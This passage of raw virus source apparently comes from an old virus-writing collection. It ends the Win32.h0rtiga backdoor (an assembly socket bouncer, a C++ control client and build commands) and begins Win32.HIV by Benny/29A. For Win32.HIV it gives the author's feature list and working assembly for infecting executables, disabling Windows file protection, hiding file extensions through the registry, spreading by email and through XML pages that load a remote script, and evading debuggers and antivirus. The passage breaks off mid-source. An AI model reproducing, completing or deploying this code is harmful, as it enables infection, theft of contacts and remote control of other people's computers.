cmp eax, -1
je error
mov dword ptr [ebp + sock1], eax
push 16
lea esi, ebp + addr1
push esi
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddbind]
cmp eax, -1
je error
push 1
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddlisten]
mov byte ptr [ebp + semaforo], 0
configit:
mov al, byte ptr [ebp + semaforo]
test al, al
jnz QueEs?
push 0
push 0
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddaccept]
mov dword ptr [ebp + gotit], eax
push 0
push msgentryserverlen
lea esi, ebp + msgentryserver
push esi
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddsend]
push 0
push buffsz
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddrecv]
xchg ebx, eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddclosesocket]
cmp ebx, 8
jnz configit
lea esi, ebp + adrbuff
lodsd
xchg esi, eax
lodsw
mov byte ptr [ebp + semaforo], al
lea edi, ebp + addr2
add edi, 2
movsw
movsd
jmp configit
QueEs?:
dec al
test al, al
jz bis0
mov byte ptr [ebp + semaforo], 0
jmp configit
bis0: mov byte ptr [ebp + countbouncer], 20
bis: push 0
push 0
lea esi, ebp + sock1
lodsd
push eax
call dword ptr [ebp + ddaccept]
mov dword ptr [ebp + gotit], eax
mov dword ptr [ebp + fd_set1.sockh], eax
push 6
push 1
push 2
call dword ptr [ebp + ddsocket]
cmp eax, -1
je error
mov dword ptr [ebp + sock2], eax
mov dword ptr [ebp + fd_set2.sockh], eax
push 16
lea esi, ebp + addr2
push esi
lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddconnect]
cmp eax, -1
je nosok2
main_lp: lea esi, ebp + ttl
push esi
push 0
push 0
lea esi, ebp + fd_set1
push esi
push 10h
call dword ptr [ebp + ddselect]
cmp eax, -1
je outnow
cmp eax, 1
je r1w2
mov dword ptr [ebp + fd_set1.no], 1
lea esi, ebp + ttl
push esi
push 0
push 0
lea esi, ebp + fd_set2
push esi
push 10h
call dword ptr [ebp + ddselect]
cmp eax, -1
je outnow
cmp eax, 1
je r2w1
mov dword ptr [ebp + fd_set2.no], 1
jmp main_lp
outnow: lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddclosesocket]
nosok2: lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddclosesocket]
mov al, byte ptr [ebp + countbouncer]
test al, al
jz byebounz
dec al
mov byte ptr [ebp + countbouncer], al
jmp bis
byebounz: mov byte ptr [ebp + semaforo], 0
jmp configit
r1w2: push 0
push buffsz
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddrecv]
or eax, eax
jz outnow
cmp eax, -1
je outnow
push 0
push eax
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddsend]
cmp eax, -1
je outnow
jmp main_lp
r2w1: push 0
push buffsz
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + sock2
lodsd
push eax
call dword ptr [ebp + ddrecv]
or eax, eax
jz outnow
cmp eax, -1
je outnow
push 0
push eax
lea esi, ebp + adrbuff
lodsd
push eax
lea esi, ebp + gotit
lodsd
push eax
call dword ptr [ebp + ddsend]
cmp eax, -1
je outnow
jmp main_lp

virlenght equ $-start

zero_generation:

mov ebx, offset f_generation


push 0

call GetModuleHandleA
xchg eax, ebx
sub eax, ebx
lea edi, OldEntryPointRVA
stosd
jmp start

f_generation:

push 0
push offset m_szTitle
push offset m_szCopyright
push 0
call MessageBoxA
push 0
call ExitProcess

m_szTitle db '-- Coded by |Zan [ 1st generation ]', 0


m_szCopyright db '-=[ (c) 2000. Win32.h0rtiga virus will run now ... ]=-', 0

end zero_generation

;----------------------------------------------------------------------------
; Win32.h0rtiga - end virus code (w32h0rtiga.asm)
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
; Win32.h0rtiga - begin client code (h0rtclient.cpp/Visual C++ 6.0)
;----------------------------------------------------------------------------

#include <iostream.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>

#define MAX_BANNER 500


#define ACCION_BOUNCE 1

typedef unsigned char db;


typedef unsigned short dw;
typedef unsigned long dd;

typedef struct {
db accion;
dw puertoremoto;
dd direccion;
} Conf_Remota;

dd addrtmp;

void MostrarCreditos () {

cout << "\n\n\t\t (c) 2000 DeepZone - h0rtiga client (Win32) ...\n\n"
<< "\t\t\tCoded by |Zan - izan@galaxycorp.com\n\n\n"
<< "Uso : h0rtclient <h0rtiga host> <port> <new host> <port>\n"
<< "e.j.: h0rtclient host.com 5556 www.pandasoftware.es 80\n\n";
cout.flush();

void SetEstructura(Conf_Remota *cremota, db acc, dd dire, dw premote) {

cremota->accion = acc;
cremota->direccion = dire;
cremota->puertoremoto = premote;

void main(int argc, char *argv[]) {

int s, i;
char banner[MAX_BANNER];
sockaddr_in a;
hostent FAR *h = NULL;
WSADATA wsaData;
Conf_Remota conf_remota;

// Show credits

MostrarCreditos();

// Num params ?

if (argc != 5) {

cout << "Error : Numero de parametros incorrectos.\n\n";


exit(-1);
}

// WinSock up!!

if (WSAStartup (0x101, &wsaData)) {

cout << "Error : Incapaz de inicializar la libreria WinSock.\n\n";


exit(-1);

// server's name

if (isalpha((int)*(argv[1]))) {

h = gethostbyname(argv[1]);

if (h == NULL) {
cout << "Error : No se puede hallar el nombre del anfitrion\n\n";
WSACleanup();
exit(-1);

} else memcpy(&(a.sin_addr.s_addr), h->h_addr, sizeof(int));


}

else {
if ((a.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE) {

cout << "Error : No se puede hallar el nombre del anfitrion\n\n";


exit(-1);

}
}
// port ?

a.sin_family = AF_INET;
a.sin_port = htons((dw)atoi(argv[2]));

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (s==0) {

cout << "Error : No se puede establecer la conexion\n"


<< WSAGetLastError() << '\n\n';
WSACleanup();
exit(-1);

// trying ...

if (connect(s, (struct sockaddr *)&a, sizeof(a))) {

cout << "Error : No se puede establecer la conexion: "


<< WSAGetLastError() << '\n\n';
WSACleanup();
exit(-1);

// clean banner

for (i=0;i<MAX_BANNER;i++) banner[i] = 0;

cout << "Esperando respuesta ...\n\n";

if (recv(s, (char *)&banner, sizeof(banner), 0) == SOCKET_ERROR)

cout << "Error recibiendo datos.\n";

else {

cout << banner << "\n";

if (isalpha((int)*(argv[3]))) {

h = gethostbyname(argv[3]);

if (h == NULL) {
cout << "Error : No se puede hallar nombre de anfitrion remoto\n\n";
WSACleanup();
exit(-1);

} else memcpy(&(addrtmp), h->h_addr, sizeof(int));


}

else {
if ((addrtmp = inet_addr (argv[3])) == INADDR_NONE) {

cout << "Error : No se puede hallar nombre de anfitrion remoto\n\n";


exit(-1);

}
}

SetEstructura(&conf_remota, ACCION_BOUNCE, addrtmp, htons((dw)atoi(argv[4])));

if ((send (s, (char *)&conf_remota, sizeof(conf_remota), 0)) == SOCKET_ERROR)

cout << "Error enviando datos.\n";

else cout << "... nueva configuracion enviada.\n\n";

closesocket(s);

// WinSock down !!

WSACleanup();
}

;----------------------------------------------------------------------------
; Win32.h0rtiga - end client code (h0rtclient.cpp)
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
; Win32.h0rtiga - compiling ... (Tasm 5.0/x86)
;----------------------------------------------------------------------------
;
; tasm32 -ml w32h0rtiga.asm
; tlink32 -Tpe -c -x w32h0rtiga.obj ,,, import32
; pewrsec.com w32h0rtiga.exe
;
;
; --] EOF
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HIV.ASM]ÄÄÄ
COMMENT#

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Win32.HIV ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Finally I finished this virus... it took me more than 8 months to code it.
I hope you will like it and enjoy the new features it presents.
Here comes a deep description of Win32.HIV...

Kernel32 searching engine:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus can remember the last used base address of Kernel32.DLL. If the last
one is not valid, it can check the standard addresses, used under Win95/98/NT/2k.
Even if none of these addresses r valid, it can search thru address space of
current process and find the library. Everything of this is protected by
Structured Exception Handling.

API searching mechanism:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
For Kernel32's APIz virus uses its own searching engine, using CRC32 instead
of stringz. For APIz from other libraries it uses GetProcAddress from K32.

Encryption of virus code:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus is encrypted by simple XOR mechanism, the encryption constant is
generated from the host code (the checksum). My idea for next viruses is
to code slow-polymorphic engine, where the shape of virus will depend on host
code checksum - something like "virus code depends on hosts DNA" :) AVerz will
have again some problems, becoz they will need to have enough different victim
filez to create valid pattern (for the scanner).

Direct action:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus infects ALL PE filez (also inside MSI filez) in current directory.
Infection of PE filez is done by appending to the last section. Infection of
PE filez inside MSIs is done by cavity algorithm:

- find a cave inside .code section


- put there viral code
- modify entrypoint

Into these PE filez not whole virus will be copied, but only a small chunk of
code, which will after execution display message and jump back to host. This
can be called as a payload.

The message loox like:


"[Win32.HIV] by Benny/29A"
"This cell has been infected by HIV virus, generation: " + 10-char number of
virus generation in decimal format.

EntryPoint Obscuring:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Yeah, this virus also uses EPO, which means: virus doesn't modify entrypoint,
it is executed "in-the-middle" of execution of host program. Again, this is
trick to fuck heuristic analysis :)
It overwrites procedure's epilog by <jmp virus> instruction. The epilog loox
like:

pop edi 05Fh


pop esi 05Eh
pop ebx 05Bh
leave 0C9h
ret 0C3h

Even if the sequence couldn't be found it infects the file - this will take
AVerz some time to understand :)

Multi-process residency:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This virus is multi-process resident, which means it can become resident in
ALL process in the system, not only in the current one. Virus does:

- find some process


- allocate memory in process and copy there virus itself
- hook FindFirstFileA,FindNextFileA,CreateFileA,CopyFileA and MoveFileA APIz
- find another process to infect and all again...

Very efficent! Imagine - you have executed WinCommander and accidently you
will execute virus. The virus become resident in ALL process, including
WinCommander, so every file manipulation will be caught by virus. If you will
open any file under WinCommander, virus will infect it! :)

The infection runs in separated thread and execution is passed to host code,
so you should not recognize any system slow down. Also, the ExitProcess API is
hooked, so the process can be terminated only when the infection is finished.

Per-process residency - hooking Internet:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Ah, yeah, this is really tricky stuff. The virus tries to hook InternetConnectA
API from WININET.DLL. If the host program will establish FTP connection, virus
will transfer itself by FTP to the root directory. And this really worx! :)

SFC stuff:
ÄÄÄÄÄÄÄÄÄÄÄ
All Win2k compatbile infectorz used SfcIsFileProtected API to check if victim
files r protected by system and if so, they didn't infect them. This infector
can disable SFC under Win98/2k/ME, so ALL filez (even the system ones) can be
infected! I would like to thank Darkman for his ideaz and SFC code.

Mail spreading:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus finds in registry the location of default address book file of Outlook
Express, gets 5 mail addresses from there and sends there infected XML document
(see bellow).

HTML infection (XML stuff):


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here I would like to thank Rajaat for his XSL idea (see XML stuff in 29A4).
The algorithm of HTML infection loox like:

- virus will disable showing extensions of HTML filez by adding "NeverShowExt"


item to file properties in registry
- then create exactly same icon for XML filez as HTML filez have (now in
explorer XML filez should look like HTML filez)
- find all .HTML filez in current directory
- delete them and create new filez with the same name and .HTML.XML extension
- write there XML code:

<?xml version="1.0"?>
<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>
<i>This cell has been infected by HIV virus, generation: XXXXXXXXXX</i>

press.txt is XSL - XML stylesheet, which is loaded together with XML file and
can be placed anywhere on the internet. This XSL contains VBScript which will
infect computer. XML loox like clean - in fact, it is, but it uses template,
which is infected. I l0ve this stuff...:-)

NTFS stuff:
ÄÄÄÄÄÄÄÄÄÄÄÄ
The virus compresses infected filez placed on NTFS, so the infected filez
are usually smaller than the clean copies...user should not recognize any
space eating...;) Also, it contains next payload - using file streamz on NTFS.
Every infected file on NTFS will have new stream ":HIV" containing message:
"This cell has been infected by HIV virus, generation: " + 10-char number of
virus generation in decimal format.

All of this does not work with MSI filez.

Anti-*:
ÄÄÄÄÄÄÄÄ
Yeah, the virus uses some anti-* featurez, against debuggerz (check "debug_stuff"
procedure), heuristics (SALC opcode, non-suspicious code, EPO) and AVerz
(infected PE files grows by 16384 bytes, about 6,5 kb of virus code, the rest
is data from the end of host - if you will open the file and go to EOF, you
will not find any virus :)

Other features:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus doesn't check extensions of victim files, it just opens the file and
chex the internal format, if the file is suitable for infection.
Also, the bug can correct the checksum of infected file (if it is needed), so
there should not be any problem with infection of some files under WinNT/2k.

Known bugz:
ÄÄÄÄÄÄÄÄÄÄÄÄ
Here I would like to thank Perikles and Paddingx for beta-testing Win32.HIV.
I tried to fix all possible bugz, but no program is bug-free, right? :P

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Some comments ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

That was the small description of the virus. I was coding it verz long time,
since the winter 2000, right after Win2k.Installer was released. My idea was to
code virus which could defeat OS "immunity". Heh, and becoz the HIV virus does
the same with human body, I decided to name my virus so.

This virus passed with me all my personal problems and happiness. This year
my life was like on the rolercoaster. Once up, once down. Everything important
that happened to me... there was this virus with me... I'm glad that I finished
it, but I also feel great nostalgy.

Well, I would like to greet some of my friends that helped me or just were
with me and created good atmosphere of all the year.

Darkman: That's a pity that we couldn't code next common virus. However,
thnx for yer help, yer moral support and everything... come
back to vx!
GriYo & Maia: It was really wonderful time in Brno. I'm glad that you came.
Just say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed :)
Rajaat: Many many many thnx for the atmosphere you created on our
meeting... I really enjoyed it. Shroomz 4ever! :) btw, I want
those CDs of Timothy Leary and Kate Bush :-)
Ratter: Don't think you are, know you are!
Skag: Psychedelic drugz rulez :P
Perikles: Thanx for beta-testing dude!
Paddingx: ----------- " " ------------
GigaByte: Very nice time in Brno... but'ta... next time: speak slowly :)
Lada: Rather yes than ratter no :-) Thnx for the best holidayz I've
ever had.
Petra: H3y4, y4 g0t v3ry nIc3 b0dy :)
Queenie: /me hugs ya :D
Timothy Leary: Hey man, ya rule, yer death is the biggest lost for the world
in this age...

Thnx to Marilyn Manson, Beatles, BeeGees, Beach Boys, Timothy Leary,


Kate Bush (hi Rajaat :) and other groupz/ppl for inspiration.

PID equ 376

.386p ;386 protected mode instructions


.model flat ;flat model

include MZ.inc ;some important include files


include PE.inc
include Win32API.inc
include UseFul.inc

extrn ExitProcess:PROC ;APIs for first generation of virus

PROCESS_VM_OPERATION equ 0008h ;some equates


PROCESS_VM_READ equ 0010h
PROCESS_VM_WRITE equ 0020h
PROCESS_QUERY_INFORMATION equ 0400h

virus_size equ 16384 ;size of virus in the file and


;memory

@getsz macro msg2psh, reg ;macro to push NULL-terminated string


local next_instr ;to stack and pop address to register
call next_instr
db msg2psh,0
next_instr:
pop reg
endm

j_api macro API ;macro to construct JMP DWORD PTR [xxxxxxxx]


dw 25FFh
API dd ?
endm
.data
Start: ;start of virus in the file
push offset E_EPO ;save EPO address to stack (*)
epo_pos = dword ptr $-4
pushad ;store all registers
@SEH_SetupFrame <jmp end_host> ;setup SEH frame

call gdelta ;get delta offset


gdelta: pop ebp ;to EBP
lea esi,[ebp + encrypted - gdelta] ;get start of encrypted part
mov edi,esi ;save it to EDI
mov ecx,(end_virus-encrypted+3)/4 ;size of encrypted part in DWORDs
decrypt:db 0D6h ;SALC opcode - ANTI-heuristic
lodsd ;get encrypted byte
xor eax,12345678h ;decrypt it
decr_key = dword ptr $-4
stosd ;and save it
loop decrypt ;do it ECX-timez

encrypted: ;encrypted part of virus


db 0D6h ;anti-heuritic
call get_base ;get base address of K32
mov [ebp + k32_base - gdelta],eax ;save it

call get_apis ;get addresses of all needed APIs


call debug_stuff ;check for debugger

mov eax,12345678h ;get generation number to EAX


generation_count = dword ptr $-4
lea edi,[ebp + gcount - gdelta]
call Num2Ascii ;save generation number in
;decimal format
call sfc_stuff98 ;disable SFC under Win98
call sfc_stuffME ;disable SFC under WinME
call sfc_stuff2k ;disable SFC under Win2k
call html_stuff ;infect ALL HTML documents in
;current directory

;direct action - infect all PE filez in current directory


lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
push esi ;save its address
@pushsz '*.*' ;search for all filez
call [ebp + a_FindFirstFileA - gdelta] ;find first file
inc eax
je e_find ;quit if not found
dec eax
push eax ;save search handle to stack

f_next: call CheckInfect ;infect found file

push esi ;save WFD structure


push dword ptr [esp+4] ;and search handle from stack
call [ebp + a_FindNextFileA - gdelta];find next file
test eax,eax
jne f_next ;and infect it

f_close:call [ebp + a_FindClose - gdelta] ;close search handle


e_find: call wab_parse ;get 5 addresses from .WAB file
call mapi_stuff ;and send there infected XML document

and dword ptr [ebp + r2rp - gdelta],0 ;set 0 - host program


and dword ptr [ebp + ep_patch - gdelta],0 ;semaphore for ExitProcess API
;now we will hook InternetConnectA API of host program
and dword ptr [ebp + inet_k32 - gdelta],0 ;use WININET library
lea eax,[ebp + newInternetConnectA - gdelta];address of new handler
sub eax,[ebp + image_base - gdelta] ;correct it to RVA
push eax ;save it
push 06810962Dh ;CRC32 of InternetConnectA
mov eax,400000h ;image base of host file
image_base = dword ptr $-4
call patch_IT ;hook API
mov [ebp + oldInternetConnectA - gdelta],eax;save old address
mov [ebp + inet_k32 - gdelta],ebp ;use K32 library

;now we will hook ExitProcess API of host program so host program could
;be terminated only when virus thread will finish its action
lea eax,[ebp + newExitProcess - gdelta] ;address of new handler
sub eax,[ebp + image_base - gdelta] ;correct it to RVA
push eax ;save it
push 040F57181h ;CRC32 of ExitProcess
mov eax,400000h ;image base of host file
image_base = dword ptr $-4
call patch_IT ;hook API
test eax,eax
je end_host ;quit if error
mov [ebp + oldExitProcess - gdelta],eax ;save old address

mov eax,cs ;get CS to EAX


xor al,al ;nulify LSB
test eax,eax ;EAX is 0, if we r
jne end_host ;under WinNT/2k...

;now we will create thread which will try to infect all K32s in all
;processes - multi-process residency
call _tmp
tmp dd ? ;temporary variable
_tmp: xor eax,eax
push eax
push ebp
lea edx,[ebp + searchThread - gdelta]
push edx
push eax
push eax
call [ebp + a_CreateThread - gdelta] ;create new thread
xchg eax,ecx
jecxz end_host ;quit if error

push eax
call [ebp + a_CloseHandle - gdelta] ;close its handle

end_host:
@SEH_RemoveFrame ;remove SEH frame
mov edi,[esp.cPushad] ;get EPO address (*)
mov eax,0C95B5E5Fh ;restore host code
stosd ;...
mov al,0C3h ;...
stosb ;...
popad ;restore all registers
ret ;and jump back to host

;this procedure can disable WinME's SFC


sfc_stuffME Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame

lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir


call get_win_dir ;get path
test eax,eax
je end_seh ;quit if error

push edi
add edi,eax
call @sfcme
db '\SYSTEM\sfp\sfpdb.sfp',0 ;store the path
@sfcme: pop esi
push 22
pop ecx
rep movsb

pop ebx
call Create_FileA ;open the file
inc eax
je end_seh
dec eax
xchg eax,esi

push 0
push esi
call [ebp + a_GetFileSize - gdelta] ;get file size to EDI
xchg eax,edi
mov [ebp + sfcme_size - gdelta],edi ;save it

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate buffer for file
test eax,eax
je sfcme_file
xchg eax,ebx ;address to EBX

push 0
lea eax,[ebp + tmp - gdelta]
push eax
push edi
push ebx
push esi
call [ebp + a_ReadFile - gdelta] ;read file content to our buffer

pushad ;store all registerz


mov esi,ebx ;ESI - address of buffer
mov ecx,edi ;ECX - size of file
mov edi,esi ;EDI - ESI
push edi ;save base address of buffer

find_comma:
lodsb ;load byte
stosb ;store it
dec ecx ;decrement counter
cmp al,','
jne find_comma ;find comma
find_cr:dec esi
lodsw
dec ecx
cmp ax,0A0Dh
jne find_cr ;find CRLF sequence
mov eax,0A0D2C2Ch
stosd ;save commas and CRLF
inc ecx
loop find_comma ;do it in a loop
pop eax ;get base address of buffer
sub edi,eax ;EDI - size of data
mov [esp.Pushad_eax],edi ;save it
popad ;restore all registerz
push eax ;store size to stack

xor eax,eax
push eax
push eax
push eax
push esi ;move to beginning of file
call [ebp + a_SetFilePointer - gdelta]
pop ecx
push 0
lea eax,[ebp + tmp - gdelta]
push eax
push ecx
push ebx
push esi
call [ebp + a_WriteFile - gdelta] ;write modified data (unprotect
push esi ;filez under WinME :-)
call [ebp + a_SetEndOfFile - gdelta] ;set EOF

push MEM_DECOMMIT
push 12345678h
sfcme_size = dword ptr $-4
push ebx
call [ebp + a_VirtualFree - gdelta]
push MEM_RELEASE
push 0
push ebx
call [ebp + a_VirtualFree - gdelta] ;release buffer memory
jmp sfcme_file ;close file and quit
sfc_stuffME EndP

;this procedure can disable Win98's SFC


sfc_stuff98 Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame

lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir


call get_win_dir ;get path
test eax,eax
je end_seh ;quit if error

mov ebx,edi ;ECX = pointer to reg_buffer


add edi,eax

mov eax,'FED\' ;Store '\DEFAULT.SFC' after the


stosd ;Windows directory
mov eax,'TLUA'
stosd
mov eax,'CFS.'
stosd

call Create_FileA ;open file


inc eax
je end_seh ;quit if error
xchg eax,esi
dec esi ;ESI = file handle

lea eax,[ebp + tmp - gdelta]


push 0
push eax
push sfc98-_sfc98
call sfc98
_sfc98: db 'VF',00h,01h,01h,0Fh dup(00h),'F',00h,00h,03h,00h,'C:\'
sfc98: push esi ;write new SFC record - disable
call [ebp + a_WriteFile - gdelta] ;SFC under Win98 :-)

push esi
call [ebp + a_SetEndOfFile - gdelta] ;truncate file

sfcme_file:
push esi
call [ebp + a_CloseHandle - gdelta] ;close file
jmp end_seh ;and quit
sfc_stuff98 EndP

;retrieve windows directory path from registry to EDI


get_win_dir:
push MAX_PATH
push edi
@pushsz 'windir' ;store path to windows directory
call [ebp + a_GetEnvironmentVariableA - gdelta]
ret

;this procedure can disable Win2k's SFC


sfc_stuff2k Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame

@getsz '\WINNT\System32\sfcfiles.dll',edi ;path+filename

lea eax,[ebp + WFD - gdelta]


push eax
push edi ;find SFCFILES.DLL file
sfcfile:call [ebp + a_FindFirstFileA - gdelta]
inc eax
je end_seh ;quit if not found
dec eax
mov [ebp + find_handle - gdelta],eax;save it handle

lea ebx,[ebp + WFD.WFD_szFileName - gdelta]


call Create_FileA ;open file
inc eax
je end_sfc
dec eax
mov [ebp + hsFile - gdelta],eax ;save handle

call Create_FileMappingA ;create file mapping object


xchg eax,ecx
jecxz end_scfile
mov [ebp + hsMapFile - gdelta],ecx ;save handle

call Map_ViewOfFile ;and map view of file to our


xchg eax,ecx ;address space
jecxz end_smfile
mov [ebp + lpsFile - gdelta],ecx ;save handle
movzx eax,word ptr [ecx]
add eax,-"ZM"
jne end_sfile ;must be MZ file

mov ebx,[ecx.MZ_lfanew]
add ebx,ecx ;move to PE header
movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+ebx+(3*IMAGE_SIZEOF_FILE_HEADER+4)]
;get to second section header
cmp [edx],'tad.' ;must be ".data"
jne end_sfile
cmp byte ptr [edx+4],'a'
jne end_sfile

mov esi,[edx.SH_PointerToRawData] ;get start of .data section


add esi,ecx ;make pointer RAW
mov ecx,[edx.SH_SizeOfRawData] ;get size of .data section

sfc_parse:
and dword ptr [esi],0 ;nulify everything in that
lodsd ;section
sub ecx,3 ;correct counter
loop sfc_parse ;do it ECX-timez

end_sfile:
push 12345678h
lpsFile = dword ptr $-4
call [ebp + a_UnmapViewOfFile - gdelta];unmap view of file from
end_smfile: ;our address space
push 12345678h
hsMapFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close handle of mapping object
end_scfile:
lea eax,[ebp + WFD.WFD_ftLastWriteTime - gdelta]
push eax
lea eax,[ebp + WFD.WFD_ftLastAccessTime - gdelta]
push eax
lea eax,[ebp + WFD.WFD_ftCreationTime - gdelta]
push eax
push dword ptr [ebp + hsFile - gdelta]
call [ebp + a_SetFileTime - gdelta] ;set back file time

push 12345678h
hsFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close file
end_sfc:push 12345678h
find_handle = dword ptr $-4
call [ebp + a_FindClose - gdelta] ;close search handle
jmp end_seh ;and quit from procedure
sfc_stuff2k EndP

;this procedure can:


;1) hide .XML extensions by registry modification
;2) assign .HTML icon to .XML files - .XML filez loox like .HTML file then
;3) find all .HTML filez in current directory, delete them and instead of them
; create .HTML.XML file with "infected" XML inside
;4) get path+filename to standard Outlook Express'es address book (.WAB file)
; from registry

html_stuff Proc
@pushsz 'ADVAPI32'
call [ebp + a_LoadLibraryA - gdelta] ;load ADVAPI32.DLL library
test eax,eax
jne n_load_xml
ret ;quit if error
n_load_xml:
xchg eax,ebx ;EBX = base of ADVAPI32.DLL

@getsz 'RegCreateKeyA',edx
call @get_api ;get address of RegCreateKeyA API
xchg eax,ecx
jecxz end_xml_lib
mov esi,ecx ;ESI = RegCreateKeyA

@getsz 'RegSetValueExA',edx
call @get_api ;get address of RegSetValueA API
xchg eax,ecx
jecxz end_xml_lib
mov edi,ecx ;EDI = RegSetValueExA

@getsz 'RegCloseKey',edx
call @get_api ;get address of RegCloseKey API
xchg eax,ecx
jecxz end_xml_lib
mov [ebp + a_RegCloseKey - gdelta],ecx;save it

call hide_xml ;hide .XML


call chg_xml_icon ;.XML icon = .HTML icon
call search_html ;infect all .HTML filez in
;current directory
end_xml_reg:
push 12345678h
reg_key = dword ptr $-4
call [ebp + a_RegCloseKey - gdelta] ;close registry key
end_xml_reg2:
push dword ptr [ebp + tmp - gdelta]
mov eax,12345678h
a_RegCloseKey = dword ptr $-4
call eax ;...
end_xml_lib:
push ebx
call [ebp + a_FreeLibrary - gdelta] ;unload ADVAPI32.DLL library
ret ;and quit

;this procedure can copy icon from .html to .xml filez and get path+filename of
;default WAB file
chg_xml_icon:
lea ecx,[ebp + reg_key - gdelta]
push ecx
@pushsz 'htmlfile'
push 80000000h
call esi ;open "HKEY_CLASSES_ROOT\htmlfile"
test eax,eax
pop eax
jne end_xml_reg2 ;quit if error
push eax

@getsz 'RegQueryValueA',edx
call @get_api ;get address of RegQueryValueA API
xchg eax,ecx ;ECX = RegQueryValueA
jecxz end_xml_lib

pushad ;store all registers


call @pword1
dd MAX_PATH
@pword1:lea eax,[ebp + wab_buffer - gdelta]
push eax
@pushsz 'Software\Microsoft\WAB\WAB4\Wab File Name'
push 80000001h
call ecx ;copy value of "HKEY_CURRENT_USER\
popad ;\Software\Microsoft\WAB\WAB4\Wab File Name"
;to wab_buffer variable - path+filename of WAB file
call @pword2
dd MAX_PATH
@pword2:lea eax,[ebp + reg_buffer - gdelta]
push eax
call @dicon
def_ico:db 'DefaultIcon',0
@dicon: push dword ptr [ebp + reg_key - gdelta]
call ecx ;get value of "HKEY_CLASSES_ROOT\htmlfile\DefaultIcon"
test eax,eax ;to reg_buffer
pop eax
jne end_xml_reg
push eax

lea ecx,[ebp + tmp - gdelta]


push ecx
lea ecx,[ebp + def_ico - gdelta]
push ecx
push dword ptr [ebp + tmp - gdelta]
call esi ;open "HKEY_CLASSES_ROOT\xmlfile\DefaultIcon"
test eax,eax
pop eax
jne end_xml_reg2
push eax

lea esi,[ebp + reg_buffer - gdelta]


mov ecx,esi
@endsz
sub esi,ecx

push esi
push ecx
push 2
push 0
push 0
push dword ptr [ebp + tmp - gdelta]
call edi ;write icon from \htmlfile to \xmlfile
test eax,eax ;error?
pop eax ;get return address
jne end_xml_reg ;quit
jmp eax ;continue

;address for getting API addresses


;EBX - base of library
;EDX - name of API
@get_api:
push edx
push ebx
call [ebp + a_GetProcAddress - gdelta]
ret

;this procedure can hide extension of .XML filez


hide_xml:
lea ecx,[ebp + tmp - gdelta]
push ecx
@pushsz 'xmlfile'
push 80000000h
call esi ;open "HKEY_CLASSES_ROOT\xmlfile"
test eax,eax
pop eax
jne end_xml_lib
push eax

push 0
push ebp
push 1
push 0
@pushsz 'NeverShowExt'
push dword ptr [ebp + tmp - gdelta]
call edi ;create new item - NeverShowExt - this will
test eax,eax ;hide .XML extension under Windows.
pop eax
jne end_xml_lib
jmp eax

;this procedure can infect all .HTML documents in current directory


search_html:
